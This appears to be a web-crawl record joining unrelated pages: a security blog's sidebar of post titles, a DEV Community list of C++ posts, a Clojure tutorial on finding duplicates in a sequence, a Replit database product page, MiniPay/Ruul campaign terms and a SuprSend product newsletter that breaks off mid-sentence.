hacks , hardware , reverse-engineering , security , writeup 18 Comments on Dissecting a MediaTek BootROM exploit Posts pagination Page 1 Page 2 … Page 10 Next page Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:47:55 |
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Right menu 🧭 Beginner-Friendly Guide 'Minimum Time Visiting All Points' – LeetCode 1266 (C++, Python, JavaScript) Om Shree Om Shree Om Shree Follow Jan 12 🧭 Beginner-Friendly Guide 'Minimum Time Visiting All Points' – LeetCode 1266 (C++, Python, JavaScript) # programming # cpp # python # javascript 10 reactions Comments Add Comment 3 min read Find All Duplicate Elements in an Array (C++) Nithya Dharshini official Nithya Dharshini official Nithya Dharshini official Follow Jan 12 Find All Duplicate Elements in an Array (C++) # programming # beginners # tutorial # cpp 1 reaction Comments Add Comment 1 min read [BOJ/C++] 단계별로 풀어보기 - 정렬(2) dbsans dbsans dbsans Follow Jan 12 [BOJ/C++] 단계별로 풀어보기 - 정렬(2) # programming # cpp # coding Comments Add Comment 3 min read Hello, Newbie Here. Devon Pinkston Devon Pinkston Devon Pinkston Follow Jan 12 Hello, Newbie Here. # discuss # codenewbie # cpp # gamedev Comments Add Comment 1 min read [BOJ/C++] 단계별로 풀어보기 - 정렬(1) dbsans dbsans dbsans Follow Jan 12 [BOJ/C++] 단계별로 풀어보기 - 정렬(1) # programming # cpp # coding Comments Add Comment 5 min read Setup C programming language for Windows users Raphaël T Raphaël T Raphaël T Follow Jan 9 Setup C programming language for Windows users # programming # c # cpp # vscode Comments Add Comment 1 min read [BOJ/C++] 단계별로 풀어보기 - 브루트 포스 dbsans dbsans dbsans Follow Jan 8 [BOJ/C++] 단계별로 풀어보기 - 브루트 포스 # programming # cpp # coding Comments Add Comment 3 min read What Every Programmer Should Know About Memory Part 4 Hamza Hasanain Hamza Hasanain Hamza Hasanain Follow Jan 7 What Every Programmer Should Know About Memory Part 4 # programming # computerscience # ai # cpp 5 reactions Comments Add Comment 10 min read Level 1 Array & String Problems in C++ Nithya Dharshini official Nithya Dharshini official Nithya Dharshini official Follow Jan 11 Level 1 Array & String Problems in C++ # programming # beginners # tutorial # cpp Comments Add Comment 2 min read DocWire SDK in 2025 – Architecture, AI Pipelines, and Document Processing in Modern C++ Krzysztof Nowicki Krzysztof Nowicki Krzysztof Nowicki Follow Jan 7 DocWire SDK in 2025 – Architecture, AI Pipelines, and Document Processing in Modern C++ # cpp # softwareengineering # backend # ai Comments Add Comment 1 min read M7 Week 1: Deterministic AI, Practical Pathfinding, and a Real 3D Audio Pipe (Bad Cat: Void Frontier) p3nGu1nZz p3nGu1nZz p3nGu1nZz Follow Jan 5 M7 Week 1: Deterministic AI, Practical Pathfinding, and a Real 3D Audio Pipe (Bad Cat: Void Frontier) # gamedev # programming # cpp # development Comments Add Comment 7 min read [BOJ/C, C++] 단계별로 풀어보기 - 기하 1: 직사각형과 삼각형 dbsans dbsans dbsans Follow Jan 5 [BOJ/C, C++] 단계별로 풀어보기 - 기하 1: 직사각형과 삼각형 # programming # c # cpp # coding Comments Add Comment 5 min read Errors during learning (c++) dolphine dolphine dolphine Follow Jan 6 Errors during learning (c++) # beginners # cpp # devjournal # learning Comments Add Comment 4 min read 🧱 Beginner-Friendly Guide 'Maximal Rectangle' – LeetCode 85 (C++, Python, JavaScript) Om Shree Om Shree Om Shree Follow Jan 11 🧱 Beginner-Friendly Guide 'Maximal Rectangle' – LeetCode 85 (C++, Python, JavaScript) # programming # cpp # python # javascript 25 reactions Comments Add Comment 4 min read 🧶 Beginner-Friendly Guide 'Minimum ASCII Delete Sum for Two Strings' – LeetCode 712 (C++, Python, JavaScript) Om Shree Om Shree Om Shree Follow Jan 10 🧶 Beginner-Friendly Guide 'Minimum ASCII Delete Sum for Two Strings' – LeetCode 712 (C++, Python, JavaScript) # programming # cpp # python # javascript 13 reactions Comments Add Comment 4 min read React Native em Alta Performance: Expo Modules, C++ e SIMD (ARM NEON) Emerson Vieira Emerson Vieira Emerson Vieira Follow Jan 5 React Native em Alta Performance: Expo Modules, C++ e SIMD (ARM NEON) # expo # reactnative # android # cpp 5 reactions Comments 1 comment 5 min read I built a C++ Reasoning Engine that holds 1.7TB of Knowledge in RAM – zelph v0.9.2 Stefan Zipproth Stefan Zipproth Stefan Zipproth Follow Jan 5 I built a C++ Reasoning Engine that holds 1.7TB of Knowledge in RAM – zelph v0.9.2 # cpp # algorithms # wikidata # opensource 1 reaction Comments Add Comment 3 min read Copie arquivos via linha de comando com C++ Marcos Oliveira Marcos Oliveira Marcos Oliveira Follow Jan 3 Copie arquivos via linha de comando com C++ # cpp # cli 2 reactions Comments Add Comment 2 min read Copy Files via Command Line with C++ Marcos Oliveira Marcos Oliveira Marcos Oliveira Follow Jan 3 Copy Files via Command Line with C++ # cpp # cli 2 reactions Comments Add Comment 1 min read MayaFlux 0.1.0: A Digital-Native Substrate for Multimedia Computation Ranjith Hegde Ranjith Hegde Ranjith Hegde Follow Jan 1 MayaFlux 0.1.0: A Digital-Native Substrate for Multimedia Computation # cpp # multiplatform # graphic # music Comments Add Comment 7 min read Memory Leak in C++ Sujeet Pandey Sujeet Pandey Sujeet Pandey Follow Dec 31 '25 Memory Leak in C++ # memoryleak # cpp # computerscience # coding Comments Add Comment 2 min read MarteoCLI: Democratizing the C++ Journey for Beginners Jhones Bomfim Jhones Bomfim Jhones Bomfim Follow Dec 30 '25 MarteoCLI: Democratizing the C++ Journey for Beginners # cpp # programming # opensource # beginners Comments Add Comment 2 min read What is cppsp? user19870 user19870 user19870 Follow Dec 30 '25 What is cppsp? # cppsp # programming # cpp # opensource Comments Add Comment 2 min read Building an IntelliSense-style Shell History Tool in C++20 Karthikey Karthikey Karthikey Follow Dec 30 '25 Building an IntelliSense-style Shell History Tool in C++20 # productivity # opensource # linux # cpp 1 reaction Comments Add Comment 3 min read [C++] const 키워드와 반복자 Seongcheol Jeon Seongcheol Jeon Seongcheol Jeon Follow Dec 29 '25 [C++] const 키워드와 반복자 # cpp Comments Add Comment 1 min read loading... trending guides/resources Advent of Code 2025 - December 1st libmalloc, jemalloc, tcmalloc, mimalloc - Exploring Different Memory Allocators Advent of Code 2025 - December 3rd Advent of Code 2025 - December 9th Advent of Code 2025 - December 2nd Install MinGW-w64 on Windows 11 Advent of Code 2025 - December 8th Advent of Code 2025 - December 5th Advent of Code 2025 - December 4th Advent of Code 2025 - December 11th Comparing OpenBLAS and Accelerate on Apple Silicon for BLAS Routines Inter-Process Communication (IPC) in C++: Complete Guide Advent of Code 2025 - December 6th 7 Best Resources to Learn C++: My Journey from Confusion to Clarity Advent of Code 2025 - December 7th I Built a Game Engine from Scratch in C++ (Here's What I Learned) Advanced C Preprocessor Macros for a Pre-C23/C++20 __VA_OPT__ Substitute Multithreading in Modern C++: Lock-Free Programming, Memory Ordering, and Atomics Writing your first LLVM Transformation Passes - Dead Code Elimination and Constant Propagation Building a Professional PX4 Development Environment with Docker, ROS2, and VS Code 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Crypto Forem Close Blockchain Follow Hide A decentralized, distributed, and oftentimes public, digital ledger consisting of records called blocks that are used to record transactions across many computers so that any involved block cannot be altered retroactively, without the alteration of all subsequent blocks. Create Post Older #blockchain posts 1 2 3 4 5 6 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Where Long-Term Trust Comes From: the Reflection of Kapbe on the Capacity of a System to Carry Time czof pbni czof pbni czof pbni Follow Jan 5 Where Long-Term Trust Comes From: the Reflection of Kapbe on the Capacity of a System to Carry Time # discuss # blockchain # web3 Comments Add Comment 3 min read What is SpiritSwap? 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Fantom DEX Review 2025 # cryptocurrency # bitcoin # ethereum # blockchain Comments Add Comment 4 min read Institutional DeFi Is Getting Serious: SemiLiquid & Custody-Native Credit Infrastructure Aditya Singh Aditya Singh Aditya Singh Follow Dec 25 '25 Institutional DeFi Is Getting Serious: SemiLiquid & Custody-Native Credit Infrastructure # blockchain # crypto # web3 1 reaction Comments 2 comments 2 min read January 26: MSCI May Drop MicroStrategy — What It Reveals About Investor Mindsets in Crypto monzo monzo monzo Follow Dec 23 '25 January 26: MSCI May Drop MicroStrategy — What It Reveals About Investor Mindsets in Crypto # discuss # blockchain # news # cryptocurrency Comments Add Comment 8 min read The Sober Conclusion of Kapbe: RWA Is Not About Whether It is "Worth Investing In", but Whether It Is "Properly Understood" czof pbni czof pbni czof pbni Follow Dec 19 '25 The Sober Conclusion of Kapbe: RWA Is Not About Whether It is "Worth Investing In", but Whether It Is "Properly Understood" # blockchain # crypto # security Comments Add Comment 3 min read Are Blockchains Behaving Like Beehives? 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Paula Gearon Posted on Mar 12, 2025 Repetition # clojure Sometimes, Clojure seems to miss operations that feel like they should be in clojure.core . I'm clearly not the only one who has felt this way, as evidenced by James Reeves's medley library. These missing operations are typically simple to implement, but after rewriting them for the nth time I feel like putting them in my own library. Or maybe contributing to James's. Today's question was how to identify duplicates in a seq. For instance, say we have a sequence of numbers with a duplicate: ( def a-seq [ 0 1 2 3 4 2 6 ]) Enter fullscreen mode Exit fullscreen mode Step 1 My first thought was that every element in the sequence needs to be compared to every other item. Indeed, if the first element is not equal to any of the sequence that follows it, then that element need not be considered again. How might that look? I'll start with a different seq where the first element does appear again: ( def seq0 [ 0 1 2 3 4 2 0 ]) Enter fullscreen mode Exit fullscreen mode We want to avoid indexing and loops whenever possible in Clojure, as these are conceptually low-level, and can be a source of errors. Instead, we want to look in clojure.core for applicable functions whenever possible. As with any Lisp, the 2 main functions to consider for processing seqs are map and reduce . The map operation will do something for every element in a seq, returning a new seq, while reduce will derive a single value from processing each element in a seq. In this case, we're looking for a repeated value: ( reduce ( fn [ result element ] ( or result ( = ( first a-seq ) element ))) nil ( rest a-seq )) true Enter fullscreen mode Exit fullscreen mode OK, this found the value, but which value was it? ( reduce ( fn [ result element ] ( or result ( and ( = ( first a-seq ) element ) element ))) ( rest a-seq )) 0 Enter fullscreen mode Exit fullscreen mode This could then be applied to each subsequence, of the seq, but... wow, is it clunky. The reducing function is doing a lot here, comparing if the result is true yet, and if not, then comparing the provided first element to the element being presented by reduce , returning that element if needed. We could clean it up a little by putting reduced over the return value so that it breaks as soon as the first match is found, and using a singleton set for the equality test: ( reduce ( fn [ result element ] ( or result ( and ( # {( first seq0 )} element ) ( reduced element )))) ( rest seq0 )) Enter fullscreen mode Exit fullscreen mode But clojure.core already has a function that does all of this, called some . The documentation even tells us that we can use a set as an "equality" test when searching a seq: ( some # {( first a-seq )} ( rest a-seq )) Enter fullscreen mode Exit fullscreen mode Step 2 But now we want to do this for every sub-seq, dropping off the head each time. One way might be to use drop to remove the start of the seq, counting up: ( map # ( drop % a-seq ) ( range ( count a-seq ))) (( 0 1 2 3 4 2 6 ) ( 1 2 3 4 2 6 ) ( 2 3 4 2 6 ) ( 3 4 2 6 ) ( 4 2 6 ) ( 2 6 ) ( 6 )) Enter fullscreen mode Exit fullscreen mode But counting the sequence, or even using map-indexed (which does the counting for you) is still getting very involved in the mechanics of processing a sequence. Is there a higher-level construct? One mechanism is using the rest operation over and over. This might be done using reduce in some way, but fortunately the iterate function does exactly this. Except it returns an infinite series, so we just need to take the correct amount. Let's go past the end by 5 to see why we need to keep it constrained: ( take ( + 5 ( count a-seq )) ( iterate rest a-seq )) ([ 0 1 2 3 4 2 6 ] ( 1 2 3 4 2 6 ) ( 2 3 4 2 6 ) ( 3 4 2 6 ) ( 4 2 6 ) ( 2 6 ) ( 6 ) () () () () ()) Enter fullscreen mode Exit fullscreen mode This looks good, but it's still counting the length of the seq, so we want to keep looking for a better approach. The map function is more flexible than simply applying an operation to transform each element of a seq. It can also be used to apply an operation to a group of elements across multiple seqs. The best part about this is that it will terminate as soon as the first of the seqs finishes. So let's try using map between the original seq and the iteration. We can just return the 2 values as pairs to see what we are working with: ( map ( fn [ a b ] [ a b ]) a-seq ( iterate rest a-seq )) Enter fullscreen mode Exit fullscreen mode This is almost exactly what we want as the arguments for the some operation above. Each operation of the map could execute rest on its second argument, but if we start the iteration one step along, then can get the same effect without needing the extra rest every time: ( map ( fn [ a b ] [ a b ]) a-seq ( rest ( iterate rest a-seq ))) ([ 0 ( 1 2 3 4 2 6 )] [ 1 ( 2 3 4 2 6 )] [ 2 ( 3 4 2 6 )] [ 3 ( 4 2 6 )] [ 4 ( 2 6 )] [ 2 ( 6 )] [ 6 ()]) Enter fullscreen mode Exit fullscreen mode These pairs are exactly what we needed for the some operation, so let's look at that: ( map ( fn [ a b ] ( some # { a } b )) a-seq ( rest ( iterate rest a-seq ))) ( nil nil 2 nil nil nil nil ) Enter fullscreen mode Exit fullscreen mode Step 3 This is almost done. We need to skip to the first non- nil value, which we already know we can do using some . However, some needs a function to apply whereas we don't need to do anything to the value, just use it as-is. So we can use identity here: ( some identity ( map ( fn [ a b ] ( some # { a } b )) a-seq ( iterate rest ( rest a-seq )))) 2 Enter fullscreen mode Exit fullscreen mode To look more Clojure-ey we would usually run steps like this through a threading macro, and the anonymous function can be abbreviated as well. Of course, we want this to be a function, so we can replace the use of the a-seq value with a function argument, which I'll just call s for "seq": ( defn any= [ s ] ( ->> s rest ( iterate rest ) ( map # ( some # { %1 } %2 ) s ) ( some identity ))) Enter fullscreen mode Exit fullscreen mode Step 4 After all of the above, I was thinking I had something relatively nice, and maybe I should write about the process of getting to it. Hence this post. I actually included extra steps along the way, just to spell things out, though I didn't actually go through most of those steps. While thinking of extra steps and alternatives that I could write about, I thought about comparing to Clojure's distinct function which can remove duplicates: ( distinct a-seq ) Enter fullscreen mode Exit fullscreen mode This is similar to what I needed, but instead of telling me when it found a duplicate, it skips the duplicates instead. A similarly written function would also work, but this function is a transducer, and these are probably more work than should be necessary for something relatively simple . I'm not saying that a transducer would be difficult. They follow a straightforward template: ( defn duplicates ([] ( fn [ rf ] ( let [ seen ( volatile! # {})] ( fn ([] ( rf )) ([ result ] ( rf result )) ([ result input ] ( if ( contains? @ seen input ) ( rf result input ) ( do ( vswap! seen conj input ) result ))))))) ([ coll ] ( sequence ( duplicates ) coll ))) Enter fullscreen mode Exit fullscreen mode This is actually a little more flexible since it can find all of the duplicates, rather than just the first one: ( duplicates [ 1 2 3 4 2 4 5 1 ]) ( 2 4 1 ) Enter fullscreen mode Exit fullscreen mode The transducer approach also has the benefit of only processing the seq s single time, and using memory to recall what it has seen. So instead of O(n^2) complexity, it becomes O(n.log(n)) complexity (since the hashmap insertions and lookups are logarithmic - though in Clojure they are effectively O(1)). However, all I needed was a function that could report the first duplicate in a seq. Maybe there was some way to use distinct for that. Let's try using map again, this time against the original seq and it's distinct version. We'll emit pairs to see what is happening: ( map ( fn [ a b ] [ a b ]) a-seq ( distinct a-seq )) ([ 1 1 ] [ 2 2 ] [ 3 3 ] [ 4 4 ] [ 2 5 ]) Enter fullscreen mode Exit fullscreen mode It terminated at the end of the distinct version, but we can see that just at the end the two sequences differed. This will happen if there is a duplicate in the first sequence that didn't appear in the second. So we can output that one when we get to it: ( map ( fn [ a b ] ( when ( not= a b ) a )) a-seq ( distinct a-seq )) ( nil nil nil nil nil 2 ) Enter fullscreen mode Exit fullscreen mode This will keep emitting values after the first duplicate is found, since the two sequences are now misaligned. Consequently we only want to return the first non-nil value from the seq: ( some identity ( map ( fn [ a b ] ( when ( not= a b ) a )) a-seq ( distinct a-seq ))) 2 Enter fullscreen mode Exit fullscreen mode Giving a new version for finding the first duplicate: ( defn any= [ s ] ( ->> s distinct ( map # ( when ( not= %1 %2 ) %1 ) s ) ( some identity ))) Enter fullscreen mode Exit fullscreen mode Wrap Up This is a little shorter, has better complexity, and makes better use of clojure.core . I'd probably use this one instead of my first attempt. This post also reminded me to check my assumptions. This is not the first time I've tried to explain why one approach was not as effective as another, only to show that it was better. I need to remember that. Top comments (1) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Collapse Expand Ray Miller Ray Miller Ray Miller Follow Joined Sep 26, 2024 • Mar 12 '25 Dropdown menu Copy link Hide Thanks! I enjoyed your article and it got me thinking about how I might implement this. Recursion can be a very useful tool and it's the one I'd reach for here: (defn any= [[head & tail]] (when tail (or (some #{head} tail) (recur tail)))) Like comment: Like comment: 2 likes Like Comment button Reply Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Paula Gearon Follow Just a girl, standing before a compiler, asking it to love her Location Spotsylvania, VA Education Computer Engineering. Physics. Work Semantic Web Architect Joined Dec 1, 2018 More from Paula Gearon How fast is dc? # clojure More Immutability and Clojure # clojure # immutable Immutable Vars and Clojure # clojure # immutable 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. 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https://replit.com/products/database | Database - Replit Agent Products Agent Design Database Publish Security Integrations Mobile For Work Teams Replit for teams to build together Enterprise Replit with Enterprise-grade security & controls Use Cases Business Apps Rapid Prototyping Roles Enterprise PM Designers Operations Software Developers Small Businesses SMB owners Founders Resources Get Started Docs Community Expert Network Inspiration Customer Stories Gallery Blog News Pricing Careers Agent Contact sales Log in Sign up Products For Work Resources Pricing Careers Contact sales Log in Start building Built-In Database for full-stack apps Replit Database uses a fully-managed, serverless SQL database that lets you add persistent data storage to your Replit App from the workspace. This serverless database implementation lets you pay only for what you use, making it ideal for projects of any size. Get started free Create & manage Database directly on Replit The Replit Database tool allows you to add a production-ready SQL database with a single click Database tools: Run queries, manage database schema, and visualize data with the built-in SQL tools Environment variables: Use environment variables in your Replit App to securely access the database Separate Production & Development Database Replit apps come with separate development and production databases Make changes to your app without fear of impacting your production application Safely preview, test, and validate database schema changes before deploying to production Point-in-time restore Point-in-time restore: Restore your database to a specific point in time within your specified retention period What are you waiting for? Get Started free Handy Links About us Vibe Coding 101 Help How to guides Import from GitHub Status Additional resources Brand kit Partnerships Legal Terms of service Commercial agreement Privacy Subprocessors DPA Report abuse Connect X / Twitter Tiktok Facebook Instagram Linkedin Scroll to top All rights reserved. Copyright © 2026 Replit, Inc. | 2026-01-13T08:47:55 |
https://minipay.to/ruul-x-minipay-campaign-terms | Ruul x MiniPay Campaign Terms Use cases Send Internationally Travel Wallet Buy Stablecoins Cash Links Virtual Accounts Virtual Card FAQs Mini Apps Blog Press Kit Documentation Download the app now! Download app English English French Brazilian Portuguese German Download app Menu Close Last update: September 23, 2025 Ruul x MiniPay Campaign Terms & Conditions 1. Organizer: The MiniPay Ruul Rewards Campaign (the "Campaign") is organized by Blueboard Limited, an entity organized under the laws of Ireland, with a registered address at The Wilde, 53 Merrion Square, Dublin 2, D02 PR63, Ireland, a subsidiary of Opera Norway AS ("Blueboard," "we," "us," and "our"). 2. Agreement to Terms and Conditions: These Terms and Conditions ("Terms") form a legally binding contract between you and Blueboard. By participating in the Campaign, you agree to be bound by these Terms. You acknowledge and agree to be legally bound without limitation or qualification and agree that all decisions of Blueboard are final and conclusive. 3. Eligibility: The Campaign is available to adult residents of qualifying countries who are users of the Ruul.io platform and are users of the non-custodial crypto wallet ("Minipay"). Employees of Blueboard, its affiliates, advertising or promotion agencies, those involved in the production, development, implementation, or handling of the Campaign, and the immediate family members (spouse, parents, siblings, and children) and household members of such employees are not eligible. Local federal, provincial, and municipal laws apply. Void where prohibited. 4. Campaign Period: The Campaign starts on 02.10.2025 and is intended to run for a period of 12 months from its start date. However, Blueboard reserves the right to modify, suspend, or terminate the Campaign at any time, at its sole discretion, without prior notice. 5. Reward Structure: The Campaign consists of two distinct reward components: "Ruul Rewards" and "MiniPay Boost Rewards." Ruul Rewards: Eligible users can earn one-time bonuses by receiving cumulative payments from the Ruul.io platform into their MiniPay Wallet. The reward tiers are as follows: First Payout Bonus: 25 USDT, awarded after receiving a first-time payment of 100 USDT/USDC or more from Ruul.io. Tier 1 (Starter): 25 USDT awarded when the cumulative total of payments received from Ruul.io reaches 500 USDT/USDC. Tier 2 (Pro): 75 USDT, awarded when the cumulative total of payments received from Ruul.io reaches 2,500 USDT/USDC. Tier 3 (Elite): 150 USDT, awarded when the cumulative total of payments received from Ruul.io reaches 7,500 USDT/USDC. Reward Component Requirement Reward First Payout Bonus Receive first Ruul payment of $100+ $25 Tier 1: Starter Receive a cumulative total of $500 $25 Tier 2: Pro Receive a cumulative total of $2,500 $75 Tier 3: Elite Receive a cumulative total of $7,500 $150 Max Potential One-Time Bonus Excludes ongoing “Boost” rewards $275 MiniPay Boost Rewards: In addition to the Ruul Rewards, users are eligible for MiniPay Boost Rewards. MiniPay Boost Rewards: In addition to the Ruul Rewards, users are eligible for MiniPay Boost Rewards under MiniPay Boost Terms & Conditions 6. Monthly Reward Budget The total Ruul rewards distributed under this Campaign (excluding MiniPay Boost Rewards) are subject to a combined monthly budget of 24,900 USDT/USDC. Blueboard reserves the right to pause, delay, or cease the distribution of any and all rewards for a given calendar month once this budget has been met. Eligibility for a reward in a month where the budget has been exhausted does not guarantee a payout. Payouts may be processed in the subsequent month, subject to the new monthly budget, or may be forfeited entirely at Blueboard's sole discretion. 7. Requirements and Payouts: Bonuses are "stackable." If a user's first payment is large enough to meet multiple thresholds (e.g., a first payment of 500 USDT/USDC, the corresponding bonuses will be paid out simultaneously. Ruul rewards will be distributed within 24 hours in USDT to the user's MiniPay Wallet. Blueboard reserves the right to request additional information to verify compliance with these Terms. 8. Release and Limitations of Liability: By participating in the Campaign, you agree to release and hold harmless Blueboard, Opera, and/or its suppliers from any direct, indirect, punitive, incidental, special, consequential damages, or any damages whatsoever, including without limitation, damages for loss of use, data, or profits, arising out of participation in this program or receipt or use of any reward. This includes but is not limited to: (a) unauthorized human intervention in the program; (b) technical errors related to computers, servers, providers, or telephone or network lines; (c) errors in the administration of the program or processing of entries; or (d) injury or damage to persons or property which may be caused, directly or indirectly, in whole or in part, from participation or receipt of any reward. You further agree that in any cause of action, Blueboard's liability will be limited to the cost of entering and participating in the program, and in no event shall Blueboard be liable for attorney's fees or costs. You agree to indemnify and hold Blueboard, its parents, subsidiaries, affiliates, officers, and employees harmless from any claim, demand, or damage, including reasonable attorneys' fees, asserted by any third party due to or arising out of participation in the program. 9. Governing Law and Jurisdiction: These Terms are based on Norwegian law. These Terms are governed by the laws of Norway without giving effect to any conflicts of law principles that may require the application of the laws of a different country. All actions or proceedings arising under or related to these Terms must be brought in the Oslo City Court, and each party hereby agrees to irrevocably submit to the jurisdiction and venue of any such court. 10. Changes to the Program: We reserve the right to modify, suspend, or terminate the Campaign at our sole discretion, including but not limited to altering reward amounts, entry requirements, or any other aspect of the program. Any changes to these Terms will be communicated via the MiniPay app or MiniPay's official social media channels. 11. Notice: Users from the United Kingdom, Brazil, the UN, FATF, or MAS-sanctioned countries are excluded from participation. Investing in cryptocurrencies carries significant risk, and you should consider whether it is appropriate for your financial situation. Stay Informed, Stay Ahead Don’t miss out on the latest insights, updates, and tips! Subscribe to our newsletter, share with your network, or explore more articles. Subscribe By submitting this form you agree to MiniPay's Privacy Policy and Terms of Service Thank you! Your submission has been received! Oops! Something went wrong while submitting. Get the MiniPay App Scan the QR code to download the app Download on App store * MiniPay is a self-custody wallet supporting CELO blockchain stablecoins, offered by Blueboard Limited. We do not provide investment or any other financial advice of any kind. We do not offer exchange services or any other services related to buying or selling assets. Services related to buying or selling crypto assets are provided by third parties under their own terms. If you choose to use a third-party service to acquire crypto assets, be aware that investing in crypto assets, as well as investments and lending linked to crypto assets, involves significant risk. When investing in crypto assets, you risk losing your entire investment. Please consider whether trading and owning crypto assets is appropriate for your financial situation. Download MiniPay to start sending globally for less Download app Download on Play store Join Testflight Download app Explore FAQs Mini Apps Blog Press Kit Features Send Internationally Travel Wallet Virtual Accounts Buy Stablecoins Cash Links Follow us © 2025 . Minipay All rights reserved. Privacy Statement Terms of Service | 2026-01-13T08:47:55 |
https://www.suprsend.com/post/newsletter-september-2025 | Newsletter September 2025 Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Newsletter Newsletter September 2025 Kavyapriya Sethu • September 5, 2025 TABLE OF CONTENTS We’re back with product updates and a look at what’s coming next month. Let's dive in. What we shipped at SuprSend Analytics 2.0: centralized, real-time and built for action Analytics 2.0 Real-time insights: Track performance across channels and spot dips in engagement instantly. Workflow-level comparisons: Compare workflows, templates, and categories side by side. Spot under performers, validate experiments, and double-down on what works. Know when your users opt-out and see if you are over-messaging your users. Granular filtering to slice trends by workflow, tenant, template, channel, category, and time range. All errors - API, workflow, and notification delivery errors, in a centralized place. ⏳ Coming soon: One-click exports and S3 connector 2.0 with option to sync all logs in your database. Read complete blog on Analytics 2.0→ Redesigned Message Logs Message Logs within SuprSend Unified view: Track delivery status, opens, clicks, and errors across every channel in a single, clean UI. Smarter filters: Quickly narrow logs by status, workflow, template, channel, or time range to get answers faster. Longer history: View logs for more than just two days at one time, with extended retention for easier debugging. Contextual navigation: Jump seamlessly between message logs and other log pages, so you can trace the full lifecycle without losing context. ⏳ Coming soon: Message previews, so you can view exactly what your user received. Read more on how to navigate logs → Define and ship workflows as code with the Workflow API Workflow API Create and ship workflows with workflow API as part of your feature deployments— no need to update things manually in the dashboard. Expose workflow-building inside your own product, so your customers or internal ops team can design notification flows themselves. 📖 Learn more in our workflow docs . Schema Validation: Catch Payload Errors Before They Break Workflow Schema The data you feed into workflows power variable content in your notifications. Until now, a single typo or missing field could slip through, causing runtime errors, broken templates, and hours of debugging. With Schema Validation , you can define JSON schemas for workflow and event payloads upfront. Every incoming payload is validated at the API layer before execution — catching mismatches instantly and preventing malformed notifications from ever reaching your users. 📖 Learn more in our docs Minor but mighty updates SendGrid IP Pool Support: Create and manage IP Pools directly in SuprSend. Get granular control over email delivery, protect IP reputation, and segment traffic by notification category. Proxy Support in Java SDK: Outbound requests from the Java SDK can now be routed through HTTP/S proxies. Perfect for deployments behind corporate firewalls or with strict network controls. Revamped iOS Native SDK: Now with JWT-based authentication and support for adding an in-app preference center in your mobile app—complete with UI and example code to get you started fast. What's next? MCP Server (Model Context Protocol) SuprSend is coming to MCP (Model Context Protocol) . This means you can integrate and interact with SuprSend directly from your favorite AI assistants — Cursor, Windsurf, Claude Code, and more. Build workflows, search through SuprSend data, commit changes and setup notification, all with a simple prompt. SuprSend CLI Automate test runs, deploy, and push/pull changes in SuprSend directly from the CLI. Every change is version-controlled and synced to your Git repo, right alongside your codebase — making notifications part of your standard feature release process. Test Mode: Safe Notification Testing Test your notification flows in staging without sending anything to real users. In Test Mode , you can: Create internal test users who only receive staging notifications Route all 